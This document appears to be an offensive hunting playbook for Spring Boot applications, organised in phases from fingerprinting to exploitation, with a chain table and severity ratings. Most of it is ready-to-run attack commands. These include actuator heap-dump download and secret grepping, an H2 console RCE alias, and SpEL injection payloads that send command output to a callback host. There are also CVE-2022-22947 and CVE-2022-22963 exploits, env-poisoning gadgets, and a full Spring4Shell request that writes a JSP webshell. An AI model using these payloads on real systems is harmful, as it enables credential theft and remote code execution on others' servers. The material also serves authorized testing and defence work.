HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities
Crown Jewel Targets
Spring Boot Actuator /actuator/heapdump exposed = heap dump with all secrets in memory.
Highest-value findings:
/actuator/heapdump— full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory/actuator/env— lists all environment variables and Spring properties including secrets/actuator/shutdown— POST → shuts down the application (Critical availability impact)- H2 Console (
/h2-console) — in-memory DB admin UI → SQL query execution → potential RCE viaCREATE ALIAStrick - SpEL injection — Spring Expression Language in template fields,
@Valueannotations, SpEL-processed request params → RCE - Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → RCE via data binding
Phase 1 — Fingerprint Spring Boot
bash# Spring Boot indicators curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type" curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework" # Actuator root (may list available endpoints) curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null # Try common base paths for base in "" "/manage" "/management" "/app"; do STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator") [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator" done
Phase 2 — Actuator Endpoint Enumeration
bashBASE="https://$TARGET/actuator" # High-impact endpoints ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" "loggers" "info" "health" "configprops" "shutdown" "trace" "httptrace" "auditevents" "sessions" "scheduledtasks" "caches" "flyway" "liquibase" "refresh" "restart") for EP in "${ENDPOINTS[@]}"; do # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login # page for many paths. Require actuator-shaped JSON (or a heapdump body) # before calling it EXPOSED. BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP") CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP") if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then echo "[+] EXPOSED: $BASE/$EP" fi done # Get environment variables (passwords, API keys) curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20 # Get all endpoint mappings (full API surface) curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort # Get Spring beans (lists all registered beans, reveals internal architecture) curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100
Phase 3 — Heap Dump Analysis
bash# Download heap dump (can be large — 100MB+) curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof ls -lh /tmp/heapdump.hprof # Quick grep for secrets in heap dump (binary file — use strings) strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \ grep -v "^[a-z_]" | sort -u | head -50 # More targeted extraction strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20 strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens # Use Eclipse Memory Analyzer (MAT) for deep analysis # https://www.eclipse.org/mat/
Phase 4 — H2 Console RCE
bash# H2 console detection curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database" curl -s "https://$TARGET/h2" | grep -i "H2 Console" curl -s "https://$TARGET/console" | grep -i "H2" # Default credentials: sa / (empty password) # JDBC URL: jdbc:h2:mem:testdb # If accessible, RCE via CREATE ALIAS: # SQL to execute: # CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception { # Runtime rt = Runtime.getRuntime(); # String[] commands = {"sh","-c",cmd}; # Process proc = rt.exec(commands); # return new String(proc.getInputStream().readAllBytes()); # } $$; # CALL EXEC('id');
Phase 5 — SpEL Injection
bash# Spring Expression Language injection in user-controlled fields # Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated # Common injection points: # - Email template fields: "Hello ${name}" # - Custom annotation @Value("${user.input}") # - Spring Security expressions # - Spring WebFlow # Basic SpEL test curl -s -X POST "https://$TARGET/api/user/name" \ -H "Content-Type: application/json" \ -d '{"name": "#{7*7}"}' # If returns 49 → SpEL injection confirmed # RCE payload — note: exec() returns a Process, not a String, so a bare # exec("id") produces NO visible output. Confirm via an OOB curl callback # (the spawned curl makes the network request even though nothing is reflected): curl -s -X POST "https://$TARGET/api/user/name" \ -H "Content-Type: application/json" \ -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}' # CVE-2022-22963 — Spring Cloud Function SpEL curl -s -X POST "https://$TARGET/functionRouter" \ -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \ -d "test"
Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)
If the gateway actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):
bashcurl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \ -d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}' curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"
Phase 5c — Writable /env -> /refresh gadget RCE
When /actuator/env accepts POST and /actuator/refresh exists, poison a property then reload:
bash# logback JNDI: curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}' # Eureka XStream deserialization: curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}' curl -s -X POST "$BASE/actuator/refresh"
(Veracode: Exploiting Spring Boot Actuators.)
Phase 6 — Spring4Shell (CVE-2022-22965)
bash# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches); # fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment. # Requires: Java 9+, Tomcat as WAR deployment # Detection: does the app accept class.* parameters? curl -s "https://$TARGET/api/user" \ -d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/" # Check COLLAB for HTTP callback # Exploitation: write webshell via class loader curl -s "https://$TARGET/login" \ --data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
Phase 7 — Jolokia JMX Exposure
bash# Jolokia provides HTTP access to JMX MBeans curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20 curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20 # List all MBeans curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30 # Read system properties via Jolokia (may expose credentials) curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \ python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key" # Exec MBean operations (potential RCE via MLet) curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"
Chain Table
| Spring Boot finding | Chain to | Impact |
|---|---|---|
/actuator/heapdump | Extract DB passwords, API keys from memory | Critical credential exfil |
/actuator/env | Read all env vars including secrets | High |
| H2 console accessible | CREATE ALIAS → RCE | Critical |
| SpEL injection | T(Runtime).exec() → OS command | Critical RCE |
| Spring4Shell | Write webshell → RCE | Critical |
| Jolokia + MLet | Remote code via MBean | Critical RCE |
Validation
✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file
✅ Actuator/env: secrets visible in JSON response
✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received
✅ H2 console: SQL executed, id output returned
Severity:
- Heapdump with credentials: Critical
- SpEL RCE: Critical
- H2 console RCE: Critical
- Actuator env (passwords exposed): High
- Mappings disclosure only: Low-Medium
